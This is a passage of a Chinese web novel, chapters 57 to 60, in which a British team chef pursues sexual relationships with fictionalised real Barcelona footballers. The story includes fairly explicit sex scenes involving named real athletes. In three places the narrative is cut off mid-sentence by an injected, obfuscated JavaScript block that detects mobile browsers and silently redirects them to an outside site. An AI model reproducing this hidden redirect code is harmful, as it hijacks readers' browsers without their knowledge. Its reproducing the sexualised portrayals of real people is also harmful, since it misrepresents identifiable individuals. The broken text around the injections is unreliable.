他心思缜密又关心自己的安全,第一时间带自己来就医,否则自己都想不到还有这风险。但是他一点都没有掩饰他风流顽劣的本性,也没表现出对自己的逾越来,难道自己没有德布劳内有魅力,连代餐都代不下去吗? 对于一个真gay来说,一来一往没有进展就是不感兴趣了。 德容这一个晚上可是伤心死了。 57.第 57 章 两场友谊赛,德容一场都没发。 原因很简单,吃了可能会被误判违规的阻断药。 德容像一只受伤的猫,整天窝在家里足不出户,心情也是忐忑不安,虽然医生说问题不大,可还是会担惊受怕,而且也没和俱乐部明说,只说自己不舒服要请假。 他现在最需要的是安慰和支持,可又不敢跟家人朋友说,唯一能说的就是了解他情况的克里奇利。 然而克里奇利跟大部队出去服务客场友谊赛根本不在巴塞罗那,好不容易等到他回来,想对他吐吐苦水,结果他又买票去了新加坡。 但他发给克里奇利的信息都得到了秒回。 克里奇利试图安慰他又不想提这件事,害怕给他造成更大的心理压力,可安慰人的本事他又没有,他只好给他发美食发可爱小猫发搞笑视频,还给他发沿途风光,告诉他我一直都在,别害怕,晚上实在睡不着就吃药。 德容心碎,睡不着就吃药吗? * 两场友谊赛后,巴萨放了3天假,期间正好赶上世界先生总决赛在新加坡举办,克里奇利二话没说就飞去了新加坡。 落地后才给托马斯留言说给他留位置,今晚7点准时到现场给他打call. 托马斯看到后高兴的在后台直接蹦了起来,对他的竞争对手也是认识的新朋友新同事们兴奋的大声嚷嚷,“我有亲友团了!我有亲友团了!” 一众帅哥笑呵呵地看着他,不知道他又用家乡话说些什么。 一激动就说西班牙语,大家也习惯了,上次排练获奖感言,激动地他英语西语都混乱了,就像真夺冠了一样。 他还挺可爱的,他的同事们也都挺喜欢他,竞争之余大家也要合作共赢,彼此之间相处的还算融洽。 因为托马斯可不是什么温顺不咬人的小鹿,他长得甜而已,混过底层社会的,谁整他他整谁。 刚来第一天他的皮鞋就被人动了手脚,走台的时候差点断底;拍游泳视频的时候还被那个巴西的叫库勒的黑皮小孩给压在胳膊底下差点呛水。 这个库勒他看着眼熟,但不是去年他那一批来英国参加初选的,那为什么总和他作对呢,单纯的嫉妒吗?而且他来头也很神秘,说是有大佬资助。 管他呢,托马斯才不当炮灰,要是这么容易被整,岂不是让人家看扁。 他随手拍了一些幕后不太雅观的照片,其中就有库勒往别人脸上扔蛋糕又在镜头前扯人家短裤的镜头,打包匿名发给主办方,主办方大怒,批评他们不允许内部搞不公平竞争,一旦举报成功,立刻取消资格并且通报呈送单位,丢的可是国家的脸。 这是暗地里的,明面上谁要是给他吃亏,他也当场就找回来。 现在,他不仅有英国的国籍,英国的经纪人还有阿根廷赞助商委派的保镖跟着他,他仍代表阿根廷参赛,在参赛人员中有头有面,不再是被人随意拿捏的弱者了。 有手段也没什么。 知道反抗就好。 他哥哥和他队长都告诉过他,一个人在外面的时候,要学会保护自己,保护自己就是要适当的展露锋芒,哪怕是小动作,也决不能吃哑巴亏。 克里奇利到了新加坡国际艺术中心。 参赛者们都集中管理,赛前也没见上面,他的亲友票是托马斯安排助理送过去的。 位置还不错,在观众席的前排靠右边一点。 演出前的灯光转入黑暗,观众席有灯柱扫射。 克里奇利来的匆忙,也没有做应援的姓名牌,他看见别人手里都举着带彩灯的姓名牌,在黑暗中闪闪发光。 他什么准备都没有,像个来看电影的。 世界先生们也在观众席的正中间座位上候场,先和身后的亲友团合影。 托马斯一眼就看到克里奇利,他虽然什么都没拿,可他一身墨色西装搭配红色领带,还戴着个墨镜,看上去像个特邀嘉宾,而且他在一众挥舞手中荧光棒和姓名牌的亲友团里安静的很显眼。 “哥!”托马斯穿过人群,隔着座椅拉住他的手,把他从座位上请下来。 还没等他走下台阶,托马斯就高兴的踮着脚扑进他怀里,紧紧地抱着他。 “稳当点,世界先生。”他笑着拍拍托马斯的背,再低头看他,这小子真的是这块料,颜值没的说,气质也升了好几个level,加上平时喜欢踢踢野球,身材更是没的说,这会谁站在他身边都得被比下去。 “合个影吧,哥。” 托马斯拉着他站到摄影区,本来就不喜欢在镜头前抛头露面的克里奇利,现在又要在镜头前被小鲜肉比得沧桑,于是始终没摘墨镜。 托马斯笑他装深沉,一把把墨镜给他摘了,架在自己头上,搂着他的腰俏皮的凑到镜头前,伸出一根手指指着他,对着镜头咧嘴笑。 “好了,从我身上找自信呢。”克里奇利又把墨镜拿回来戴上,“时差让我看上去有些憔悴而已。” “不憔悴,很帅!”托马斯仰着脸,眼睛亮晶晶的,精致漂亮的小脸上写满了自信。 “去吧,别掉链子。”大老远来的好像就为了说这句话。 托马斯笑笑,就知道他哥有时候直的可怕。 “好,一会聊。” 一轮一轮的展示充满紧张和悬念,每一轮表演完毕都要公布一下现场得分和网络投票。 亲友团的合影也被同步到官网和直播中。 兄弟俩的合影被大量点赞,托马斯的网络支持率陡然增高。 第一轮公布网络投票和点击率的时候,他还在倒数第三,几轮过后,特别是他介绍完选秀过程以后,大家了解了他的身世,网络上刷起一波阿根廷小麋鹿往前冲的呼声。 在倒数第二轮他已经冲上了第二名。 他没说自己有多惨,他只说在自己迷茫堕落的时候被英国哥哥收养,并且支持他走上选美之路,还要感谢一直看中他资助他等着要回报的另一位哥哥,当然还有让他爱上足球从足球中找到人生真谛的心灵伙伴。 这一切都太幸运了。 最后一轮,他表达了爱国之情,虽然有双重国籍,但始终是阿根廷的儿子,要在这个领域展示风采,把阿根廷的文化魅力展示给大家。 他还赚了一波中国粉丝的支持。 中国粉丝在网络直播中刷起了弹幕。 “我是先认识他哥哥再认识他的。” “他哥哥不就是大名鼎鼎的英国神厨克里奇利吗?” “致力于把中国菜做出名声的老外,我单方面授予他中国饮食文化传播大使。” “你说的是马可波罗吧hhhh” “英国能有马可波罗也是一大幸事。” “他哥是前世界先生吧,长的也太好看了。” “说远了,各位亲,马上投票,准备好小手为阿根廷小麋鹿投票吧!” 由于中国选手陈劲已经荣膺榜首,中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他高兴地在台上高高举起奖杯,对着他家乡的方向,再转过来对着他的“家人”,眼睛更亮了,没过一会,眼眶就承受不住小珍珠的重量,噼里啪啦地落在他今晚的盛装上。 颁奖典礼结束后,他们还有一个盛大的晚宴。 这种晚宴参加的全是赞助商、背后资助大佬以及官方合作伙伴。 对他们来说是一笔笔巨大的商业资源。 托马斯拿了亚军一定会在晚宴上被争抢,这孩子一门心思往娱乐圈里进,什么人脉都没有,不知道夜这么长,会不会遇到什么贵人或是旧人还是什么怪人。 克里奇利说真的有些担忧,他见过的场面可多了,但都是你情我愿的,那些被利益冲昏头脑的涉世未深的毛头小子可不一定能躲得过某些大佬的追捧和诱惑。 但是他又不能时时刻刻陪在托马斯身边保护他,也不知道该怎么叮咛他,有一点非常重要。 他拉着托马斯到舞台下,为他摘掉头上的金片,握住他的肩膀对他说,“托马斯,你成功了!你现在是名副其实的世界先生,只要你不想的没人可以做你的主,明白吗,你的身份让你尊贵、耀眼和居高临下,我的意思你明白吗?” 托马斯反应了几秒,小脑袋瓜一转,接着深深地点点头。 克里奇利怕他听不懂,又用简单的词语重新说了一遍,“你是成年人了,做事带套!” “噢!哥!!” 58.第 58 章 第二天,托马斯请了一会儿假,亲自送克里奇利去机场。 自从他有了经纪公司以后,事业一路向好,也有了可以支配的人手和保姆车,对此,克里奇利感到很欣慰。 一年不到,深陷泥潭的迷途小鹿已经长出了可以攻击并防御的鹿角,看上去更加帅气伶俐,能够独当一面了。 克里奇利一直都很爱他,关心他,可是从来都没表达过。 他虽做不到长兄如父,但在短短的一年里,硬是凭借毒舌和砸钱把缺爱的小鹿推到正道上去。 在托马斯眼里,他这个哥哥就是嘴硬心软,明明很善良,很重感情,却要装出一副冷漠的无情的混蛋样子,谁也别想感动他,怨恨他,主宰他。 也许只有这样,才能够让自己保持足够的清醒,才能够自始至终孑然一身,不会为了谁而感到幸福,这样也就不会有难过了。 现在他看着托马斯阳光明媚的小脸,感受到他内心巨大的成就感,似乎无法再保持高冷的态度,一路上也笑呵呵的和他分享最近的快乐。 托马斯对他说:“哥,你放心好了,我会努力工作,好好赚钱,让你和德布劳内也能见到点回头钱。” “好,他看人的眼光忽高忽低的,希望他没有看错你。” “别这么说嘛,你们很般配的。而且你们的眼光都不差。” “别说这个了,你和麦卡蒂怎么样?”克里奇利垂眸掩饰住自己有些晦涩的情绪。 “你还关心我的感情生活吗?”托马斯挑眉看了他一眼。 “唉,你想说就说,不想说算了。路上无聊,要不我睡觉?” 他这个哥哥,明明是关心自己,非要死不承认。 “麦卡蒂对我很好,只是我的工作缘故,不能经常和他见面,但我们每天都有联系。” “他会跟我说有关足球的东西,我非常喜欢听,脚也痒痒的。只要我回到曼彻斯特,他就会带着我和他一起踢球,我加入了一个叫蓝盾的足球俱乐部,目前在挂名兼职,今年我们有希望打进职业联赛,所以我两边都不想放弃。” “你这个年纪精力充沛,我像你这么大的时候,为了活下去,曾经在建筑工地做过苦力,一天下来也能赚个三五十。” “不是吧,哥,三五十都养不活自己。” “十几年前三五十就算多的了,那些夜总会跳舞的小男孩也不过是赚一两百,因为我很早就发现自己的top属性,所以是不会去做那些娘娘腔的职业的。” “哥,你又来了,我讨厌你。” “我不是说你是娘娘腔,不过我也有点好奇,你和麦卡蒂谁是左?” “我是左。” 克里奇不说话,但憋不住笑。 “哥,我恨你!”托马斯伸手掐他的脖子,使劲摇晃他,没曾想这个坏哥哥临走时还要挖苦他。 克里奇利甫一落地,就收到了德容发来的信息。 他说:[速来我家!] 吓他一跳,出什么事了,难道检测结果出来了,不太好?没敢问也没敢耽搁,他火速赶过去。 刚一进门就看到德容面色沉重,眼眶深陷,看起来精神不太好。 他最担心的事可千万不要发生啊! 他手里还拿着从机场匆匆买的新加坡万金油,看到德容比他飞了十几个小时都要憔悴,不禁丢下了手里的礼品袋,走上前抱紧了他。 “噗!”德容没憋住笑,揪了揪他后背的衣服。 “我很好。”他说完从手机上打开一张照片,是检测单,上面写着“negative.” 克里奇利看了一眼先是沉默了一下,接着神色恼怒的捏住了他的脸。 “啊呀!你干嘛?!” 德容被他捏的眼泪都要涌出来,使劲把他的手拍掉,搓了搓被他捏痛的腮帮子。 “这种事怎么能开玩笑呢!” 克里奇利板着脸,眉头皱紧,凶巴巴的看着他。 “怎么了,害怕了?” 就好像这事不是发生在自己身上一样,看到克里奇利阴郁的脸反而有种恶作剧成功的快感。 克里奇利没说什么,伸开手就抱紧了他。 手臂一用力就把他抱得脚尖离了地。 “啧。”德容181的个子抱起来感觉还不到140磅(130斤左右)。 “瘦了不少。”克里奇利把他放下,接着走进他家厨房,打开冰箱看了看,没什么好吃的,他摇摇头。 接着拿出手机开始点外送服务。 “干嘛?” 德容走到他身后,自然的脱了他的薄外套,看他在干什么。 “你真是有职业病,来我家是做客的,怎么还要下厨呢?”他看到克里奇利把一些生鲜蔬菜加入购物车。 “你都瘦脱相了,难看,我给你补补。” 克里奇利没看他,继续选购。 突然手机被他一把夺过去了。 “你说我难!看!!”德容举着手机,脸上的晴朗被乌云遮住,他睁圆了眼睛瞪着他,看他怎么解释。 克里奇利站起来,高大的个头立刻把清瘦的德容笼罩,他沉声嗯了一声,靠近他,接着抬手握住了他举着手机的手腕。 德容被他上前的动作给逼退在餐桌旁,后腰顶在了桌沿上。 克里奇利盯着他的眼睛,嘴角微微下压,没有说话,片刻后,另一只手有些粗糙的指腹抚上了他的后颈。 上下摩挲着,带着些许调情,好像某种事情的前奏。 此刻的德容不敢呼吸,好像在猜测他会不会亲自己,是嫌弃自己没入他的眼还是怎么着,怎么都靠这么近了还不亲呢! 克里奇利的身子慢慢向前压,而德容已经没有了后退的空间,他也不想后退,他在跟自己进行一场豪赌,赌自己的魅力能不能拿下他。 德容太高估他了,要不是这三周忙的抬不起头来,他早就登门拜访了,还用得着他说让他来一趟。 巴萨的小队长必须下猛料,猛火爆炒,一步到胃,这样他才能把西班牙的阳光点燃在赛场,让夜晚亮如白昼。 克里奇利的眼睛里立刻燃起了熊熊烈火,揉搓他后颈的手挪到了他的下巴,大拇指指腹粗粝的抚过他的嘴唇,力道没掌握好,竟然伸进了他的嘴里。 “嘶…”他的手指被德容咬住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921984|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他另一只手还捏着德容的手腕,为了让他松口,罪恶的手伸向了特别逾越的位置。 德容嗷的一声弯下腰,把桌子腿顶的吱嘎挪了位。 接着他也“回敬”他。 两人闹成一团。 德容这段日子过的很郁闷,茶不思饭不想,数着日子过,掉了好几斤称不说,力气都变小了。 他根本不是克里奇利的对手,一个不留神就被克里奇利扛在肩膀上。 “啊!”他以倒栽葱的姿势差点从他后背溜下来,吓得他抓紧了那人的裤腰带。 克里奇利调整了一下,肩膀又硌的他嗷一嗓子。 “不舒服吗?” “嗯…”他被扛着说不出话来。 刚想挣扎着下来就被克里奇利从肩膀上直接调整成背姿,他就像树袋熊一样老老实实的趴在他后背上,双腿还主动勾住他的腰身。 就这样来到他家阳光充足的卧室。 克里奇利刚要坐下把背上的树袋熊扔在床上,谁料小熊爪子不松开还越收越紧,一整个向后仰倒把背着他的壮汉也放倒在床上。 说真的,他还从来没这样放倒过一个人。 克里奇利一点也没客气,躺在他身上不起来,本来就双腿大开的德容被他整个人仰着压倒,又硌了他一下。 “哎哟!疼疼疼…” 他随手抄起枕头来打这个总是碰他软肋的家伙,两人又在床上闹成一团。 克里奇利也跟个小孩子一样,不让负这个活泼过劲儿的金色小考拉,和他展开了枕头大战。 打着打着都出汗了。 “等等,休战。” 德容把枕头举高护住自己的头,向他提出脱衣服时谁也不许打谁。 克里奇利听话的把枕头放下,然后掀起了自己的T恤。 趁着克里奇利正把T恤从头上拽下来时,不守规则的德容迅速拿枕头砸向他。 克里奇利挨了一下狠的,才知道德容才不是什么憨厚的树袋熊,而是一只活泼顽劣的小猴子。 打闹这么久都快把他打萎靡了,这小猴子还嘻嘻哈哈的围着他闹,不打屁股是不行了。 他捋了捋被他砸乱了的毛发,一个飞扑就把调皮的小金丝猴压在了身下。 谁料小金丝猴实在是玩心太重,伸爪子挠他痒痒肉。 “哈哈哈…” 两个人又在床上滚来滚去。 这还不算完,尝到甜头的小猴子还想占便宜,大腿一跨就骑在克里奇利的身上,这一坐不要紧,他直接感受到了英国人的霸气。 “下去!” 克里奇利收起笑容,准备做个大人,教育教育这个没边没界只知道玩闹不干正事的幼稚鬼。 他不下去还蹭。 啪的一声,大腿落下五个手指印。 德容瞪圆了眼睛。 又是一下子,这下更重。 德容的笑意慢慢收拢,露出一副你怎么敢打我的委屈表情,接着就被身下的人揪住了衣领。 他被用力拽去那人眼前,原本躺着的人迅速用另一只手支起身子,没有任何缓冲任何余地的四片嘴唇就撞在了一起。 59.第 59 章 德容爱玩爱闹像个幼稚鬼但其实他很会。 小说看的足够多,性格也奔放,动作尺度也越来越大。 好像很久都没在真人身上实践过一样,一上来就扒住了克里奇利的裤腰。 三下五除二的就坦诚相见了。 看他猴急的不要不要的,连洗个澡的时间都要省了。 克里奇利又把他提起来,搂着他的腰,一个绵长的亲吻他让他放松下来,再抱着他走进浴室。 恒温的水帘落在他们发顶,淫雨般浇湿了和周遭温度一样升温的身体。 德容看着被莱万意淫出众的健美身材,一丝得意又涌了上来。 他没见过只能靠想,而我是真真切切的看到,并且现在还能上手摸。 他把手搭在克里奇利的肩膀上,顺着胸肌腰线摸了下去。 紧接着又扶着他的腿压低了身位。 克里奇利坐了这么久的飞机身体和大脑都有一些倦意,还没等冲个热水澡解解乏就被火急火燎的德容给霸占了。 大白天的这不是明抢吗,就不能温柔一点,前戏很重要,不然跟吃快餐有什么区别,让每一个床伴有最佳的体验是克里奇利不变的口碑也是他的执念。 主要是他心里还有些挣扎和一点点愧疚,真像时间倒退好几年,认识了小版德布劳内的感觉,而他在犹豫要不要这么轻易就霍霍他,万一又栽了怎么办。 下不去迪奥的念头只存在了半秒,就被德容生涩又努力的“告白”给推到了山顶。 但他不想给德容留下一个快男的印象。 等了三周,就这? 这哪是传闻中的七次狼,这不是男科医院第一病症阳早吗? 德布劳内晾了他两周他就压不住了,这可三周了,三周是什么概念,再不炒雄性动物都直了。 “德容。” “嗯?” “Frenkie.” “嗯。” 克里奇利拉起他,他揉了揉被水打湿的眼睛,通红的嘴唇微微张开喘息。 “怎么了?”他急切的问。 “站好。” “是不是我比不上他?” “谁?” “德布劳内啊。” “唔。同志守则第一条,永远不要谈论前任,况且你无需和别人比。” “切。我又不是同志,才不懂你们同志守则。” “那你是?” “bisexual(双性恋)。 “你上一个对象是女人?” “不是。” “是男人。” “也不是。” “什么?”克里奇利听不懂了。 “哈哈,我没怎么处过。” “你是个处?” “嗯。” “这么说的话我也是处,因为我带套。” “你是畜牲吧。” “哈哈哈哈…” 他们互相揉搓泡沫,感受对方体温的同时轻佻的话语也放肆出口。 德容说他是处,克里奇利不太相信,但还是小心翼翼的帮助他慢慢适应自己,因为他在第一眼看到自己时有些微怔的神色确实不太像老油条。 德容有些茫然,害怕,不知所措,好像用了书里写的那些个方法都不太实用。 克里奇利又当了引导者。 他拿着德容的手,教给他一些方法和技巧。 又亲自俯身示范,最后把德容抱到床上给了他真实又刺激的体验。 德容的喉结不受控制的上下滚动,不知道过去了多长时间,直到眸色由蓝色的汪洋变成平静的绿湖,才拖着一声呢喃的尾音害羞的把自己藏进被子里。 …… 两人满足的躺在床上,互相望向对方,忍不住笑。 德容这会才感到羞耻,想起刚才自己各种忙活,每次都在要成功的点上被人制止然后都反馈给了他。 最后还是助攻他又助攻他,把他伺候的一浪高过一浪,最后以帽子戏法收场。 全程那人都没发出一点声音,只有逐渐粗重的呼吸。 “你为什么压抑着,不让我知道你到了呢?”德容侧着头问他。 “隐忍是男人本色。”克里奇利语气轻松下来,只有激动过后胸脯的上下起伏。 “我觉得爆发才是男人高光时刻。”德容的思绪跑到了绿茵场。 “咱俩当然不一样,我在你身后,你只管射门,还要射的精准有力。” “害,我又不是前锋,射门是他们的事。” “没人不害怕你的爆发,德容,你现在是最好的时候,无所不能的时候。”克里奇利的思绪也被他带到了绿茵场。 “你的语气好像在思念某个人,你没有在他最好的时候遇到他,所以有遗憾吗?” “不是,他很好,只是我们不同路。”克里奇林还是没忍住提到了他刚刚结束的恋情。 “噢。”德容抿起嘴巴,不再追问他,听得出他的音色冷了下来。 克里奇利很快就意识到不妥,再心大也不能在小猴子的床上想小猫啊。 再说,小猴子现在急需他投喂,都瘦的像个猴了,不好看,还是刚才那个想法,不好看。 他侧过身来,手搭在德容的瘪瘪的肚子上,轻轻揉了揉,问他,“你饿了吗?” “不饿。这几天都不知道什么是饿。” “你要修仙啊?” “不是,冰箱里有吃的,我知道吃饭。” “唉,真不知道你遇到我之前过的都是什么日子。” 克里奇利把刚才没下完的单结算,又回头亲了亲他,忍着困倦起身去厨房煮饭。 过了一会,食材全部送到。 德容洗着澡的功夫,克里奇利就把全部食材切吧切吧剁吧剁吧扔进了锅里。 炖了一个半小时后,满屋飘香,引的德容肚子咕咕叫,这才觉得饥饿难耐。 “什么时候好啊?好饿。” 德容从茶几上拿了一块饼干刚要放进嘴里,克里奇利就把好饭好菜端上了桌。 德容立刻把饼干丢掉,蹦蹦哒哒的来到餐桌旁,手拄着桌子看着一大盆金色的炖菜。 “这是什么啊?奶白,不,金色的汤汁,噢,鲍鱼,海参,龙虾…” “十全大补汤!” 克里奇利说着就给他盛了一大碗,搭配粒粒分明的泰国香米还有下饭黄灯笼椒。 两人在傍晚时分,一边喝着冰镇啤酒一边吃着热汤菜,别提多带劲了。 酒足饭饱后,德容的脸色在暖光下渐渐变得红润有光泽,他靠在沙发上,两条大长腿交叠放在茶几上。 克里奇利像个主人一样,拍了他脚踝两下,凶他一句,“拿下去!” 他和德容没有壁,就好像认识了很久。 德容一边收脚一边说对不起,接着反应过来,这不是在我家吗,他也太像个daddy了,吃饭时不语,只是一味盛汤,问他这是什么他也不说,就跟保密食谱似的。 香是真的香,怎么还有点热,刚才喝汤出了一身汗,现在还热。 他刚要喝口冰镇啤酒,就被旁边这个大爹给夺过去了。 “饭后不宜再喝酒,喝茶。” 克里奇利给他泡了伯爵红茶,这才开始和他聊天。 “热了吗?我把空调风调大点。”克里奇利说着刚要起身,就被他拉住了胳膊。 “你是不是不太喜欢我?”德容声音透着一丝不安。 克里奇利又坐了下来,“为什么这么说?” “你都不好好亲亲我。” 克里奇利扶额,他一直往自己身下钻,怎么亲啊,再说他不喜欢品尝自己。 “刚才戴帽的是谁,还不满意。”克里奇利伸开胳膊搂过他的肩膀,想了想还是没有亲他,低垂着眼脸看着他白里透红的脸颊,细细的金色绒毛都看的很清楚,这让他不得不又想到某人。 “不是,其实我不太擅长保持一种关系,这是我的缺点我知道,但是我不想改。” “这就是你对我冷漠的理由?你放心好了,我又不缠着你。” “冷漠?我都把劲儿使你身上了,还冷漠。” “你看着温文尔雅,攻击性都放在这件事上了,是你欲求不满。” “好了,你不仅年轻帅气,还很带劲!让我纵欲过度了。” “这还差不多。” 德容虽然玩心很重但他什么都懂,以往没怎么动过真感情,现在想动都动不了,他们没在合适的时间相遇,只是在互相取暖而已,而且下一次取暖还不知道谁先开口。 不过,令德容感到欣慰的是,他已经非常疲惫,却不遗余力的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931667|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让自己感到愉悦和被温柔以待,除了不和他谈恋爱之外,所有的一切都恰到好处。 * 克里奇利被巴萨重薪留下,反正他暂时也没什么地方可去,而且巴萨的人跟曼城的人差不多,又帅又能打,让他焕发第几春还不说来就来。 树挪死,人挪活。他是这样告诉自己的。 球星一个比一个香。 伺候好他们就是催生一场场赏心悦目的人生大戏,他们给观众带来精彩的比赛和城市的荣耀,给这位帅气的英国大厨带来的可是味觉和灵感的双重激发。 自恋生猛的大中锋,调皮能干的小队长,奶凶有劲的小铁卫,还有武艺十八般的各国各色精干男孩,都可以用美食滋养,用双手和欣赏的目光激发他们一路长歌。 这也是他在西班牙重振旗鼓的又一阵地,得站稳了才行。 新赛季刚一开始,首战瓦伦西亚,德容2分钟破门。 大家一窝蜂的奔过来把他团团围住,庆祝这个赛季开门红。 莱万勒住他的脖子,拍着他胸脯,大声问他,“小队长!吃什么了?这么有劲儿!” 他脑海中浮现那一碗又一碗的金汤海鲜,不,克里奇利说那叫十全大补汤,专门给他熬的。 他吃了一块很香的软骨肉,问克里奇利这是乌鸡肉吗,克里奇利不吱声,让他连着喝了一周,直到他面色红润,眼睛发亮,更有劲儿闹腾了,才告诉他,那不是什么乌鸡肉,是甲鱼。 德容眼珠子差点掉出来,他掐住自己的脖子,好像中毒了一样,一边干呕一边扶住椅背坐下来控诉他,“你这个魔鬼,下毒害我。” “哈哈哈…”克里奇利这几天都快被他逗死了,整天跟喜剧人似的,不是上蹿下跳的开玩笑就是滚床单闹腾,一点不像25.6岁的大小伙子。 这一周的食补算是奏效了。 巴萨迎来了赛季小高潮,凡是吃了十全大补汤的全都进球了! 玄学来到了巴萨,让人不信都不行。 克里奇利名声大臊,成为了西班牙厨房新贵,他的很多食谱都被争相效仿,如蒜蓉生蚝,开边蚕蛹,虎皮鸡爪,葱烧海参…… 很多东西都没人吃,硬是在他手里变成了美味佳肴。 你就闭着眼睛吃吧,别问。 吃了一准开胡。 这不,加维和费尔明吃了两份黑松露蛋炒饭,香的他们一个送了助攻,一个生吃门将。 巴萨的天胡开局羡慕的整个西甲都开始整顿厨房,他们都知道了,拿住一个人,首先要拿住他的胃。 球员的归属感不是训练场,不是核心理念,而是简简单单一顿饭。 这饭说简单它其实并不简单。 克里奇利也不是大罗神仙,给饭菜施了法,他其实懂一点食物相生相克的道理和中医阴阳调和的理论,属于师傅领进门,修行靠个人。 主要是他做饭好吃加上一点个人魅力。他那么漂亮,做的饭也当然漂亮,饭如其人,张力十足。 他懂得用手艺拿住人的胃,用魅力给自己加分。当然,勤奋敬业也是他的加分项,无论在阿森纳曼城还是巴萨,他都把后厨当成是自己的道场,大本营。 球星的转会费和身价需要用表现来对应,他也一样,把球星们一个个养的身强力壮,气色饱满不说,在比赛前后的补给也做到尽心尽力让人挑不出毛病。 他也是幸运,他在哪一个球队哪一个球队的伤病就是最少的,队伍兵强马壮,内部良性竞争,信心自然而然就打上来了。 顺风局让人舒心开阔,巴萨迎来一个又一个事业高潮,仿佛回到了宇宙之队时期,msn再现江湖,引得西甲另一个老伙伴直吹胡子。 这不,24-25赛季巴萨以先声夺人一夺就是十连胜之势,在西甲独领风骚。(dbq我编的,实际中间输了一场,这里是平行世界,作者会吃掉一些比赛结果。还有一些不同时期转会的球星,也可能到处乱安。) 西甲第11轮巴萨客场对阵皇马。 一场好戏即将上演。 克里奇利本来不太关心比赛结果,他只负责车马周转,只要球星们吃得好,心情好,他就值得骄傲。 随着主队的变换,他现在必须成为巴萨的球迷。 不过是一场又一场的梦,醒来继续逍遥。 继续颠大勺。 60.第 60 章 这天,克里奇利随巴萨来到了马德里。 不知道为什么,他不太喜欢马德里这个地方。 喧闹,繁华,纸醉金迷。 这不是他以前在伦敦夜夜笙歌的标配吗,怎么现在还厌倦了呢。 可能没有那俩聒噪又猥琐的狐朋狗友在他耳边煽风点火,寂寞的孔雀尾巴都懒得开屏了。 主要是皇家马德里有旧人,他一个想见一个不想见,索性都别见了吧。 他没能够做的很好,在库尔图瓦面前也得意不起来,万一碰到了,尴尬的连手都没地方放。 库尔图瓦渣的一批没有底线,他可是渣的连底裤都没有,本来就定不住性,现在连家都定不住,还丢了猫,现在在巴萨还住酒店呢。 伦敦曼城巴塞罗那,他不知道下一个城市会是哪里。 有时候会萌生出一种不想上班的冲动,想自立门户,或者开一个餐厅,以他现在的名气不说客人络绎不绝,也得有不少熟人给他捧场。 但他又不想操心也不想利用人情。他的工作可以让他接触球星,但他不想靠球星来照顾自己生意,那跟白天卖艺晚上卖,身有什么区别。 想着想着,手里的白茶就错发给了本来点了鲜橙汁的德容。 德容刚要喝,却被突然反应过来的克里奇利一把握住了手腕,“别喝,是佩德里的。” “就喝!”德容冲他做了个鬼脸,然后拿走了佩德里的白茶。 “sorry,白茶被德容拿去了。”克里奇利手里拿着鲜橙汁对佩德里道歉。 佩德里:“你就惯着他吧。” 自己没有惯着他,反而对他有点严厉,总是没好脸色给他,语气也生硬直白,刚才也应该给他道个歉的。 德容也不生气,反而很依赖他。总是趁没人的时候挂在他身上,吸闻他颈间淡淡的薄荷海盐味儿,还调皮的伸出舌尖舔一口,让克里奇利工作中总是分神。 德容就像西班牙的阳光,足够耀眼,总是能吸引着众人的关注,哪怕是一件小事。 德容每次踢完比赛都去讨一份黑松露番茄意面,必须是克里奇利亲自做的,否则就发队长脾气,在工作群里艾特克里奇利,给他的团队提意见。 搞得克里奇利每次都得在比赛前露一面,让他们相信踢赢了就有专属奖励,踢输了也跟着队长沾光,想吃就吃。 这次克里奇利照例在车上为他们准备赛前零食饮料,给他们加油打气,然后早早安排好工作,提前溜了。 他无心看这场轰动全国的国家德比,想给自己放个假,他找了一个小酒馆,打算平静的度过这令人紧张又不安的两个小时。 不沉浸看球就不会为主队担忧,不为主队担忧就不会刻上某个队伍的基因,因为他知道从一个主队切换到另一个主队是多么痛苦的一件事。 他不喜欢马德里也懒得做攻略,随便找了一个小酒馆进去消磨时光,结果一进去就看到超大的屏幕正准备播放今晚异常火爆的国家德比。 躲不了,马德里只要是个公共场所就会有球赛转播,场外不比场内气氛逊色。 这里当然是皇马的主场。 克里奇利感觉走进了敌区,要是被人发现他是巴萨的人,会不会被群起而攻之。 他低头看看自己身上穿了一件花衬衫,红白蓝看不出什么立场,也就放心了。 想到上次在这儿还在为英格兰站队,幸亏对手不是西班牙,那也差点被狡猾的比利时人给捉弄。 所以,低调喝酒,当个局外人就好。 他喝着酒,眼睛也不由自主的看向屏幕,这来来回回的,能淡定的只能是卡皮巴拉。 开场2分钟姆巴佩就获得单刀机会,然而越位在先,惊的克里奇利握了一下手里的水晶杯,手心开始冒汗。 要是在皇马工作是不是就不同心境了呢,他想。 所以,不要给自己安排上主队,这样不利于心脏健康。 亚马尔今天中午刚吃了自己做的培根番茄卷,说进球了还要吃,可是空门不进呀,唉。 这小孩也是叛逆,不会使筷子非要让自己手把手的教他,说他笨,他说你就不能把食物做的好夹一些吗?生气了直接上手抓,抓了一手番茄酱还往克里奇利英俊的脸上抹。 